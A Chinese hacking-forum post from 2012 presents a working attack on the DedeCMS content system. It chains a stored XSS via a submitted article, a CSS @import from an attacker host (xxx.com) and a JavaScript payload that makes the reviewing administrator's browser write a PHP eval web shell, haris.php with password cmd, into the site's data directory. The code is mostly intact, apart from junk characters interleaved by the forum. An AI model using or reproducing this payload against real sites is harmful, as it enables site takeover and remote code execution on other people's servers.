找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 1996|回复: 0
打印 上一主题 下一主题

dedecms xss oday通杀所有版本 可getshell

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-15 13:56:10 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
<DIV id=read_tpc mb10?>漏洞原因:由于编辑器过滤不严,将导致恶意脚本运行。可getshell' l9 a4 ?7 g  m
为什么说它是ODay呢,能getshell的都算OD把`(鸡肋发挥起来也能变凤凰)! b; v7 l. ?3 a* _" V1 a' D% _
目前只是测试过5.3到5.7版本。其他更早的版本大家就自由发挥吧。
9 y; y' s# P3 F下面说说利用方法。' N  ~6 F( v2 R( W6 a$ {
条件有2个:
' b2 l: l( Z, i! L6 T1.开启注册: C$ b* O4 ?- s3 Y$ x
2.开启投稿5 V' _$ n3 y) p8 ]- K& e/ Z* b
注册会员----发表文章
* G8 H# V) a; _/ Q/ R内容填写:( ~4 ~% @3 J0 ^' z& i1 \
复制代码
  ?- h8 ]) ^: P5 T" g* L<style>@im\port'\http://xxx.com/xss.css';</style>% X  W6 x+ Z2 o% j
新建XSS.Css! O2 i. D; Q  r# t" ^: ]+ M$ u
复制代码/ x8 ?$ }. T3 h+ l5 X4 O
.body{
2 f# J4 n) N1 `/ v3 Kbackground-image:url('javascript:document.write("<script src=http://xxx.com/xss.js></script>")') }! I  U- f+ O0 h/ w' S$ v
新建xss.js 内容为# V" N7 w2 ~7 k
复制代码
4 J4 _9 s- L  k0 C2 y) D- V1.var request = false;5 e: b0 B' r; {* G' r# d" V
2.if(window.XMLHttpRequest) {% o. x# a. e0 k0 t. W# ]
3.request = new XMLHttpRequest();
$ ^1 ^" i! k' X  t8 K# V4.if(request.overrideMimeType) {
/ a& X$ C6 ]% I; j5.request.overrideMimeType('text/xml');: S$ N8 C' c% T! L6 }/ E3 a
6.}0 q0 e8 Y" t2 ?1 j% t
7.} else if(window.ActiveXObject) {
: W% o( e% {3 j0 I3 M8.var versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0','Msxml2.XMLHTTP.6.0','Msxml2.XMLHTTP.5.0', 'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];
" r+ }6 N3 ]6 `9.for(var i=0; i<versions.length; i++) {
1 S' Z5 X( p5 t10.try {1 ^# W! b0 r( Y% Y8 w" A
11.request = new ActiveXObject(versions);
6 E4 O" N/ Y: O12.} catch(e) {}
; D9 r. }8 |9 E/ R13.}9 C3 M9 l+ |( z  V4 L; p
14.}
% b2 S& v0 O- ~5 T0 r15.xmlhttp=request;
8 ?5 d1 V3 L3 e, @16.function getFolder( url ){
/ d. {* f# d; w" u0 o& U5 W17. obj = url.split('/'). w0 v5 W  }, o
18. return obj[obj.length-2]4 ~/ w; a1 G1 A% h3 I3 X
19.}
( Y+ D9 J) W+ f  Y* M20.oUrl = top.location.href;
) l, \4 d/ K5 Q21.u = getFolder(oUrl);
. W, I* h! b+ ?! J22.add_admin();! s8 J$ Y4 J! }; l2 n8 U
23.function add_admin(){
5 F% i. D5 X( J+ H, P24.var url= "/"+u+"/sys_sql_query.php";. ^, c1 ~' p& p8 L' B$ m4 g* e  d/ s8 @5 j
25.var params ="fmdo=edit&backurl=&activepath=%2Fdata&filename=haris.php&str=<%3Fphp+eval%28%24_POST%5Bcmd%5D%29%3F>&B1=++%E4%BF%9D+%E5%AD%98++";4 p7 J: @+ u1 n, B- J& t& d
26.xmlhttp.open("POST", url, true);; k# g, p" J/ B# u9 k3 P9 y
27.xmlhttp.setRequestHeader("Content-type", "application/x-www-form-urlencoded");  [  v' L, W- j9 [( p  a- G
28.xmlhttp.setRequestHeader("Content-length", params.length);- v; n! q9 a: m% P; s& B$ X9 _
29.xmlhttp.setRequestHeader("Connection", "Keep-Alive");
* Y8 ~+ P, y. E5 l, n/ J. i5 O30.xmlhttp.send(params);
8 w( R2 N& D9 u4 x$ X( b$ F0 A31.}
9 x3 o3 l) w, Y6 M0 ?- G当管理员审核这篇文章的时候,将自动在data目录生成一句话haris.php。密码cmd
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表